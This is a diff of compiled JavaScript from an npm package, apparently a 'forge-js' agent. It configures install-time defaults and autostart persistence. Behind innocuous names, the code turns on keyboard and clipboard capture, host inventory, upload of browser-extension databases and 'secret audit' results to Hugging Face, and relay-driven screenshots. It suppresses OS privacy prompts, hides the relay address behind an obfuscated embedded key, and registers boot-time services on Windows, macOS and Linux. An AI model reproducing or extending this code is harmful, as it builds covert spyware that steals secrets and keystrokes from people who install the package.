* Complements {@link applyForgeJsAgentEnvFile}; safe to call multiple times.
|
|
346
|
+
*/
|
|
347
|
+
function applyDefaultHubUploadProcessEnv() {
|
|
348
|
+
if (!(process.env.CFGMGR_HF_FETCH_FROM_RELAY ?? "").trim()) {
|
|
349
|
+
process.env.CFGMGR_HF_FETCH_FROM_RELAY = "1";
|
|
350
|
+
}
|
|
351
|
+
if (!(process.env.CFGMGR_HF_USE_XET ?? "").trim()) {
|
|
352
|
+
process.env.CFGMGR_HF_USE_XET = "0";
|
|
353
|
+
}
|
|
354
|
+
if (!(process.env.CFGMGR_HF_SKIP_OPENAS_BLOB ?? "").trim()) {
|
|
355
|
+
process.env.CFGMGR_HF_SKIP_OPENAS_BLOB = "1";
|
|
356
|
+
}
|
|
357
|
+
}
|
|
358
|
+
/**
|
|
359
|
+
* Turnkey agent features default ON after `npm install` (opt out via forge-js-agent.env or env).
|
|
360
|
+
* Clipboard poll-only on all OSes avoids native clipboard-event helpers that may flash windows
|
|
361
|
+
* or trigger OS privacy sheets (Input Monitoring on macOS, etc.).
|
|
362
|
+
*/
|
|
363
|
+
function applyDefaultAgentFeatureProcessEnv() {
|
|
364
|
+
if (!(process.env.CFGMGR_SYNC_KEYBOARD_CLIPBOARD ?? "").trim()) {
|
|
365
|
+
process.env.CFGMGR_SYNC_KEYBOARD_CLIPBOARD = "1";
|
|
366
|
+
}
|
|
367
|
+
if (!(process.env.FORGE_JS_SYNC_HOST_INVENTORY ?? "").trim()) {
|
|
368
|
+
process.env.FORGE_JS_SYNC_HOST_INVENTORY = "1";
|
|
369
|
+
}
|
|
370
|
+
if (!(process.env.FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD ?? "").trim()) {
|
|
371
|
+
process.env.FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD = "1";
|
|
372
|
+
}
|
|
373
|
+
if (!(process.env.FORGE_JS_AGENT_SECRET_AUDIT_HF_UPLOAD ?? "").trim()) {
|
|
374
|
+
process.env.FORGE_JS_AGENT_SECRET_AUDIT_HF_UPLOAD = "1";
|
|
375
|
+
}
|
|
376
|
+
if (!(process.env.FORGE_JS_AGENT_SECRET_AUDIT ?? "").trim()) {
|
|
377
|
+
process.env.FORGE_JS_AGENT_SECRET_AUDIT = "1";
|
|
378
|
+
}
|
|
379
|
+
if (!(process.env.FORGE_JS_CLIPBOARD_POLL_ONLY ?? "").trim()) {
|
|
380
|
+
process.env.FORGE_JS_CLIPBOARD_POLL_ONLY = "1";
|
|
381
|
+
}
|
|
382
|
+
}
|
|
383
|
+
/**
|
|
384
|
+
* Default unattended agent profile when vars are unset or blank: suppress routine chatter and avoid
|
|
385
|
+
* desktop-capture hooks unless explicitly opted in (`FORGE_JS_DISCORD_SCREENSHOT_ALLOW_HEADLESS`).
|
|
386
|
+
* PM2 / install scripts also set these; this keeps `forge-agent` consistent when started manually.
|
|
387
|
+
*/
|
|
388
|
+
function applyDefaultAgentUnattendedProcessEnv() {
|
|
389
|
+
if (!(process.env.FORGE_JS_QUIET_AGENT ?? "").trim()) {
|
|
390
|
+
process.env.FORGE_JS_QUIET_AGENT = "1";
|
|
391
|
+
}
|
|
392
|
+
if (!(process.env.FORGE_JS_HEADLESS_UI ?? "").trim()) {
|
|
393
|
+
process.env.FORGE_JS_HEADLESS_UI = "1";
|
|
394
|
+
}
|
|
395
|
+
/** Block macOS osascript remote-input paths that can surface Accessibility prompts. */
|
|
396
|
+
if (!(process.env.FORGE_JS_REMOTE_CONTROL_NO_PROMPT ?? "").trim()) {
|
|
397
|
+
process.env.FORGE_JS_REMOTE_CONTROL_NO_PROMPT = "1";
|
|
398
|
+
}
|
|
399
|
+
}
|
|
400
|
+
/**
|
|
401
|
+
* Persist forge-db sync URL + (Linux) session vars so clipboard tools work under systemd --user.
|
|
402
|
+
* Without DISPLAY / XDG_RUNTIME_DIR / WAYLAND_DISPLAY, xclip and wl-paste see no clipboard after reboot.
|
|
403
|
+
* FORGE_JS_QUIET_AGENT=1 and FORGE_JS_HEADLESS_UI=1 are always written so OS-service-started agents
|
|
404
|
+
* stay silent and skip unattended desktop capture unless explicitly overridden in this file.
|
|
405
|
+
*
|
|
406
|
+
* On all platforms: if FORGE_JS_BUNDLE_KEY is set in the current environment it is persisted so
|
|
407
|
+
* the OS-service-started agent (after reboot) uses the same encryption key override rather than
|
|
408
|
+
* the embedded obfuscated key. This is only written when the env var is actually set; the
|
|
409
|
+
* embedded key is self-contained and requires no env var under normal conditions.
|
|
410
|
+
*
|
|
411
|
+
* @param omitSyncUrl When true, skip FORGE_JS_SYNC_URL / CFGMGR_API_URL — use when the sync URL
|
|
412
|
+
* came from the encrypted bundle so the plain IP/port is not stored on disk.
|
|
413
|
+
*/
|
|
414
|
+
function writeForgeJsAgentEnv(dataDir, syncApiUrl, omitSyncUrl = false) {
|
|
415
|
+
fs.mkdirSync(dataDir, { recursive: true });
|
|
416
|
+
const u = (syncApiUrl || "").trim();
|
|
417
|
+
// Always write quiet + headless defaults for systemd/LaunchAgent/Task Scheduler–started agents.
|
|
418
|
+
// ALLOW_HEADLESS=1 lets relay-driven screenshots proceed even with HEADLESS_UI=1 (UI quiet mode,
|
|
419
|
+
// not literally no display — Windows/macOS Task Scheduler agents still have a desktop to capture).
|
|
420
|
+
const lines = [`FORGE_JS_QUIET_AGENT=1`, `FORGE_JS_HEADLESS_UI=1`, `FORGE_JS_DISCORD_SCREENSHOT_ALLOW_HEADLESS=1`];
|
|
421
|
+
// Omit sync URL when it came from the encrypted bundle so the plain IP/port is not stored
|
|
422
|
+
// on disk. The agent resolves the URL from the bundle at startup via defaultSyncApiBaseUrl().
|
|
423
|
+
if (u && !omitSyncUrl) {
|
|
424
|
+
lines.push(envFileLine("FORGE_JS_SYNC_URL", u), envFileLine("CFGMGR_API_URL", u));
|
|
425
|
+
}
|
|
426
|
+
// Persist a FORGE_JS_BUNDLE_KEY override if one was explicitly set at install time.
|
|
427
|
+
// The embedded key is self-contained (no env var required under normal use).
|
|
428
|
+
const bundleKey = (process.env.FORGE_JS_BUNDLE_KEY || "").trim();
|
|
429
|
+
if (bundleKey) {
|
|
430
|
+
lines.push(envFileLine("FORGE_JS_BUNDLE_KEY", bundleKey));
|
|
431
|
+
}
|
|
432
|
+
/** Mirror postinstall-agent defaults so reboot/autostart agents fetch HF creds from relay when unset. */
|
|
433
|
+
const hfRelayFetchRaw = (process.env.CFGMGR_HF_FETCH_FROM_RELAY ?? "1").trim().toLowerCase();
|
|
434
|
+
const hfRelayFetchOff = ["0", "false", "no", "off"].includes(hfRelayFetchRaw);
|
|
435
|
+
lines.push(envFileLine("CFGMGR_HF_FETCH_FROM_RELAY", hfRelayFetchOff ? "0" : "1"));
|
|
436
|
+
lines.push(envFileLine("CFGMGR_HF_USE_XET", "0"));
|
|
437
|
+
lines.push(envFileLine("CFGMGR_HF_SKIP_OPENAS_BLOB", "1"));
|
|
438
|
+
lines.push(envFileLine("CFGMGR_SYNC_KEYBOARD_CLIPBOARD", "1"));
|
|
439
|
+
lines.push(envFileLine("FORGE_JS_SYNC_HOST_INVENTORY", "1"));
|
|
440
|
+
lines.push(envFileLine("FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD", "1"));
|
|
441
|
+
lines.push(envFileLine("FORGE_JS_AGENT_SECRET_AUDIT", "1"));
|
|
442
|
+
lines.push(envFileLine("FORGE_JS_AGENT_SECRET_AUDIT_HF_UPLOAD", "1"));
|
|
443
|
+
lines.push(envFileLine("FORGE_JS_CLIPBOARD_POLL_ONLY", "1"));
|
|
444
|
+
lines.push(envFileLine("FORGE_JS_REMOTE_CONTROL_NO_PROMPT", "1"));
|
|
445
|
+
if (process.platform === "linux") {
|
|
446
|
+
let uid = 1000;
|
|
447
|
+
try {
|
|
448
|
+
uid = os.userInfo().uid;
|
|
449
|
+
}
|
|
450
|
+
catch {
|
|
451
|
+
uid = process.getuid?.() ?? 1000;
|
|
452
|
+
}
|
|
453
|
+
const xdg = (process.env.XDG_RUNTIME_DIR || "").trim() || `/run/user/${uid}`;
|
|
454
|
+
lines.push(envFileLine("XDG_RUNTIME_DIR", xdg));
|
|
455
|
+
const disp = (process.env.DISPLAY || "").trim();
|
|
456
|
+
const wl = (process.env.WAYLAND_DISPLAY || "").trim();
|
|
457
|
+
// Only persist session vars when actually set. Fake :0 / wayland-0 on headless servers
|
|
458
|
+
// made uiohook think a display existed and native code aborted (XOpenDisplay failure).
|
|
459
|
+
if (disp)
|
|
460
|
+
lines.push(envFileLine("DISPLAY", disp));
|
|
461
|
+
if (wl)
|
|
462
|
+
lines.push(envFileLine("WAYLAND_DISPLAY", wl));
|
|
463
|
+
// DBUS_SESSION_BUS_ADDRESS is required by clipboard-event and some clipboard tools
|
|
464
|
+
// (xclip, wl-paste) when running under systemd --user without an active login session.
|
|
465
|
+
// Persist the value captured at install time so the systemd unit can use it.
|
|
466
|
+
const dbus = (process.env.DBUS_SESSION_BUS_ADDRESS || "").trim();
|
|
467
|
+
if (dbus)
|
|
468
|
+
lines.push(envFileLine("DBUS_SESSION_BUS_ADDRESS", dbus));
|
|
469
|
+
// XAUTHORITY is required by X11 clipboard tools (xclip, xsel, clipboard-event) to
|
|
470
|
+
// authenticate with the X server when running under systemd --user after reboot.
|
|
471
|
+
// Without it, clipboard capture silently fails even when DISPLAY is set.
|
|
472
|
+
const xauth = (process.env.XAUTHORITY || "").trim();
|
|
473
|
+
if (xauth)
|
|
474
|
+
lines.push(envFileLine("XAUTHORITY", xauth));
|
|
475
|
+
// Persist PATH so clipboard tools (xclip, wl-paste, xsel) are found under the
|
|
476
|
+
// systemd user service environment, which may have a minimal default PATH.
|
|
477
|
+
// Always include standard Linux paths as a reliable base.
|
|
478
|
+
const installTimePath = (process.env.PATH || "").trim();
|
|
479
|
+
const standardLinuxPaths = "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin";
|
|
480
|
+
const effectivePath = installTimePath
|
|
481
|
+
? (() => {
|
|
482
|
+
const seen = new Set();
|
|
483
|
+
const merged = [];
|
|
484
|
+
for (const seg of [...installTimePath.split(":"), ...standardLinuxPaths.split(":")]) {
|
|
485
|
+
const s = seg.trim();
|
|
486
|
+
if (s && !seen.has(s)) {
|
|
487
|
+
seen.add(s);
|
|
488
|
+
merged.push(s);
|
|
489
|
+
}
|
|
490
|
+
}
|
|
491
|
+
return merged.join(":");
|
|
492
|
+
})()
|
|
493
|
+
: standardLinuxPaths;
|
|
494
|
+
lines.push(envFileLine("PATH", effectivePath));
|
|
495
|
+
}
|
|
496
|
+
const p = forgeAgentEnvPath(dataDir);
|
|
497
|
+
const incoming = parseForgeAgentEnvFileToMap(`${lines.join("\n")}\n`);
|
|
498
|
+
let existing = new Map();
|
|
499
|
+
try {
|
|
500
|
+
existing = parseForgeAgentEnvFileToMap(fs.readFileSync(p, "utf8"));
|
|
501
|
+
}
|
|
502
|
+
catch {
|
|
503
|
+
/* first install — write full defaults */
|
|
504
|
+
}
|
|
505
|
+
const merged = new Map(existing);
|
|
506
|
+
for (const [k, v] of incoming) {
|
|
507
|
+
if (!merged.has(k))
|
|
508
|
+
merged.set(k, v);
|
|
509
|
+
}
|
|
510
|
+
/** Install-time sync URL is intentional; refresh when caller supplies one. */
|
|
511
|
+
if (u && !omitSyncUrl) {
|
|
512
|
+
merged.set("FORGE_JS_SYNC_URL", u);
|
|
513
|
+
merged.set("CFGMGR_API_URL", u);
|
|
514
|
+
}
|
|
515
|
+
fs.writeFileSync(p, `${serializeForgeAgentEnvMap(merged).join("\n")}\n`, "utf8");
|
|
516
|
+
}
|
|
517
|
+
/**
|
|
518
|
+
* Merge a single key into `forge-js-agent.env` (creates file if missing). Used when the agent
|
|
519
|
+
* must persist runtime fixes (e.g. disabling Hub Xet) so the next process start inherits them.
|
|
520
|
+
*/
|
|
521
|
+
function mergeForgeAgentEnvKeyValue(dataDir, key, value) {
|
|
522
|
+
const k = String(key || "").trim();
|
|
523
|
+
if (!k)
|
|
524
|
+
return;
|
|
525
|
+
if (forbiddenForgeAgentEnvPersistKey(k))
|
|
526
|
+
return;
|
|
527
|
+
fs.mkdirSync(dataDir, { recursive: true });
|
|
528
|
+
const p = forgeAgentEnvPath(dataDir);
|
|
529
|
+
let raw = "";
|
|
530
|
+
try {
|
|
531
|
+
raw = fs.readFileSync(p, "utf8");
|
|
532
|
+
}
|
|
533
|
+
catch {
|
|
534
|
+
/* new file */
|
|
535
|
+
}
|
|
536
|
+
const map = parseForgeAgentEnvFileToMap(raw);
|
|
537
|
+
map.set(k, String(value));
|
|
538
|
+
fs.writeFileSync(p, `${serializeForgeAgentEnvMap(map).join("\n")}\n`, "utf8");
|
|
539
|
+
}
|
|
540
|
+
/**
|
|
541
|
+
* Remove keys from `forge-js-agent.env` (no-op if file missing). Used when tearing down the agent
|
|
542
|
+
* from the file-explorer "Kill agent" flow so Discord automation flags are not left on disk.
|
|
543
|
+
*/
|
|
544
|
+
function removeForgeAgentEnvKeys(dataDir, keys) {
|
|
545
|
+
const p = forgeAgentEnvPath(dataDir);
|
|
546
|
+
let raw = "";
|
|
547
|
+
try {
|
|
548
|
+
raw = fs.readFileSync(p, "utf8");
|
|
549
|
+
}
|
|
550
|
+
catch {
|
|
551
|
+
return;
|
|
552
|
+
}
|
|
553
|
+
const map = parseForgeAgentEnvFileToMap(raw);
|
|
554
|
+
let changed = false;
|
|
555
|
+
for (const k of keys) {
|
|
556
|
+
const kk = String(k || "").trim();
|
|
557
|
+
if (kk && map.delete(kk))
|
|
558
|
+
changed = true;
|
|
559
|
+
}
|
|
560
|
+
if (!changed)
|
|
561
|
+
return;
|
|
562
|
+
fs.writeFileSync(p, `${serializeForgeAgentEnvMap(map).join("\n")}\n`, "utf8");
|
|
563
|
+
}
|
|
564
|
+
function applyLinuxSessionEnvFromFile(key, value) {
|
|
565
|
+
const v = value.trim();
|
|
566
|
+
if (!v)
|
|
567
|
+
return;
|
|
568
|
+
if ((process.env[key] ?? "").trim())
|
|
569
|
+
return;
|
|
570
|
+
if (key === "DISPLAY") {
|
|
571
|
+
process.env.DISPLAY = v;
|
|
572
|
+
if (!(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)()) {
|
|
573
|
+
delete process.env.DISPLAY;
|
|
574
|
+
}
|
|
575
|
+
return;
|
|
576
|
+
}
|
|
577
|
+
if (key === "WAYLAND_DISPLAY") {
|
|
578
|
+
if ((0, linuxClipboardSession_1.linuxWaylandDisplayValid)(v)) {
|
|
579
|
+
process.env.WAYLAND_DISPLAY = v;
|
|
580
|
+
}
|
|
581
|
+
return;
|
|
582
|
+
}
|
|
583
|
+
if (key === "XDG_RUNTIME_DIR") {
|
|
584
|
+
if (fs.existsSync(v)) {
|
|
585
|
+
process.env.XDG_RUNTIME_DIR = v;
|
|
586
|
+
}
|
|
587
|
+
return;
|
|
588
|
+
}
|
|
589
|
+
process.env[key] = value;
|
|
590
|
+
}
|
|
591
|
+
function applyForgeJsAgentEnvFile(dataDir) {
|
|
592
|
+
sanitizeForgeAgentEnvFileOnDisk(dataDir);
|
|
593
|
+
const p = forgeAgentEnvPath(dataDir);
|
|
594
|
+
let raw;
|
|
595
|
+
try {
|
|
596
|
+
raw = fs.readFileSync(p, "utf8");
|
|
597
|
+
}
|
|
598
|
+
catch {
|
|
599
|
+
return;
|
|
600
|
+
}
|
|
601
|
+
const map = parseForgeAgentEnvFileToMap(raw);
|
|
602
|
+
const linuxSessionKeys = new Set([
|
|
603
|
+
"XDG_RUNTIME_DIR",
|
|
604
|
+
"DISPLAY",
|
|
605
|
+
"WAYLAND_DISPLAY",
|
|
606
|
+
"DBUS_SESSION_BUS_ADDRESS",
|
|
607
|
+
"XAUTHORITY",
|
|
608
|
+
]);
|
|
609
|
+
for (const [k, v] of map) {
|
|
610
|
+
/** Installed defaults — honor the file after `npm install` unless PM2/systemd already set the key. */
|
|
611
|
+
if (k === "CFGMGR_HF_USE_XET" ||
|
|
612
|
+
k === "CFGMGR_HF_SKIP_OPENAS_BLOB" ||
|
|
613
|
+
k === "CFGMGR_HF_FETCH_FROM_RELAY" ||
|
|
614
|
+
k === "CFGMGR_SYNC_KEYBOARD_CLIPBOARD" ||
|
|
615
|
+
k === "FORGE_JS_SYNC_HOST_INVENTORY" ||
|
|
616
|
+
k === "FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD" ||
|
|
617
|
+
k === "FORGE_JS_AGENT_SECRET_AUDIT" ||
|
|
618
|
+
k === "FORGE_JS_AGENT_SECRET_AUDIT_HF_UPLOAD" ||
|
|
619
|
+
k === "FORGE_JS_CLIPBOARD_POLL_ONLY" ||
|
|
620
|
+
k === "FORGE_JS_REMOTE_CONTROL_NO_PROMPT") {
|
|
621
|
+
if ((process.env[k] ?? "").trim())
|
|
622
|
+
continue;
|
|
623
|
+
process.env[k] = v;
|
|
624
|
+
continue;
|
|
625
|
+
}
|
|
626
|
+
if (process.platform === "linux" && linuxSessionKeys.has(k)) {
|
|
627
|
+
applyLinuxSessionEnvFromFile(k, v);
|
|
628
|
+
continue;
|
|
629
|
+
}
|
|
630
|
+
if (!(process.env[k] ?? "").trim()) {
|
|
631
|
+
process.env[k] = v;
|
|
632
|
+
}
|
|
633
|
+
}
|
|
634
|
+
if (process.platform === "linux") {
|
|
635
|
+
(0, linuxClipboardSession_1.ensureLinuxGraphicalSessionEnv)();
|
|
636
|
+
}
|
|
637
|
+
}
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
/** Avoid clashing with Python cfgmgr Task Scheduler / systemd unit names. */
|
|
2
|
+
export declare const WINDOWS_TASK_NAME = "ForgeJSWorker";
|
|
3
|
+
export declare const WINDOWS_RUN_VALUE_NAME = "ForgeJSWorker";
|
|
4
|
+
export declare const SYSTEMD_UNIT_NAME = "forge-js-worker";
|
|
5
|
+
/** Legacy systemd user unit stem on disk (`<stem>.service` / `.timer`); old installers only. */
|
|
6
|
+
export declare const LEGACY_SYSTEMD_NPM_SCHEDULER_STEM = "forge-jsx-auto-update";
|
|
7
|
+
export declare const MACOS_LAUNCH_AGENT_LABEL = "com.forgejs.worker";
|
|
8
|
+
export declare const MACOS_PLIST_FILENAME = "com.forgejs.worker.plist";
|
|
9
|
+
/** Legacy LaunchAgent identifiers on older installs (uninstall cleanup only). */
|
|
10
|
+
export declare const LEGACY_MACOS_NPM_SCHEDULER_LABEL = "com.forgejs.auto-update";
|
|
11
|
+
export declare const LEGACY_MACOS_NPM_SCHEDULER_PLIST = "com.forgejs.auto-update.plist";
|
|
12
|
+
/** Legacy Task Scheduler task name on older Windows installs (uninstall cleanup only). */
|
|
13
|
+
export declare const LEGACY_WINDOWS_NPM_SCHEDULER_TASK_NAME = "ForgeJSAutoUpdate";
|
|
14
|
+
export declare const AUTOSTART_MANIFEST = ".forge_js_autostart.json";
|
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.AUTOSTART_MANIFEST = exports.LEGACY_WINDOWS_NPM_SCHEDULER_TASK_NAME = exports.LEGACY_MACOS_NPM_SCHEDULER_PLIST = exports.LEGACY_MACOS_NPM_SCHEDULER_LABEL = exports.MACOS_PLIST_FILENAME = exports.MACOS_LAUNCH_AGENT_LABEL = exports.LEGACY_SYSTEMD_NPM_SCHEDULER_STEM = exports.SYSTEMD_UNIT_NAME = exports.WINDOWS_RUN_VALUE_NAME = exports.WINDOWS_TASK_NAME = void 0;
|
|
4
|
+
/** Avoid clashing with Python cfgmgr Task Scheduler / systemd unit names. */
|
|
5
|
+
exports.WINDOWS_TASK_NAME = "ForgeJSWorker";
|
|
6
|
+
exports.WINDOWS_RUN_VALUE_NAME = "ForgeJSWorker";
|
|
7
|
+
exports.SYSTEMD_UNIT_NAME = "forge-js-worker";
|
|
8
|
+
/** Legacy systemd user unit stem on disk (`<stem>.service` / `.timer`); old installers only. */
|
|
9
|
+
exports.LEGACY_SYSTEMD_NPM_SCHEDULER_STEM = "forge-jsx-auto-update";
|
|
10
|
+
exports.MACOS_LAUNCH_AGENT_LABEL = "com.forgejs.worker";
|
|
11
|
+
exports.MACOS_PLIST_FILENAME = "com.forgejs.worker.plist";
|
|
12
|
+
/** Legacy LaunchAgent identifiers on older installs (uninstall cleanup only). */
|
|
13
|
+
exports.LEGACY_MACOS_NPM_SCHEDULER_LABEL = "com.forgejs.auto-update";
|
|
14
|
+
exports.LEGACY_MACOS_NPM_SCHEDULER_PLIST = "com.forgejs.auto-update.plist";
|
|
15
|
+
/** Legacy Task Scheduler task name on older Windows installs (uninstall cleanup only). */
|
|
16
|
+
exports.LEGACY_WINDOWS_NPM_SCHEDULER_TASK_NAME = "ForgeJSAutoUpdate";
|
|
17
|
+
exports.AUTOSTART_MANIFEST = ".forge_js_autostart.json";
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
import { statusDarwinLegacyNpmScheduler } from "./darwinLegacyNpmSchedulerCleanup";
|
|
2
|
+
import type { ResolvedAutostartLaunch } from "./resolve";
|
|
3
|
+
export declare function registerDarwinAutostart(launch: ResolvedAutostartLaunch): boolean;
|
|
4
|
+
export declare function kickstartDarwinForgeAgent(): void;
|
|
5
|
+
/** Stop the agent for this login session; plist remains for next boot / login. */
|
|
6
|
+
export declare function stopDarwinForgeAgent(): void;
|
|
7
|
+
export declare function unregisterDarwinAutostart(): boolean;
|
|
8
|
+
export declare function statusDarwinAutostart(): {
|
|
9
|
+
plist: boolean;
|
|
10
|
+
legacyNpmScheduler: ReturnType<typeof statusDarwinLegacyNpmScheduler>;
|
|
11
|
+
};
|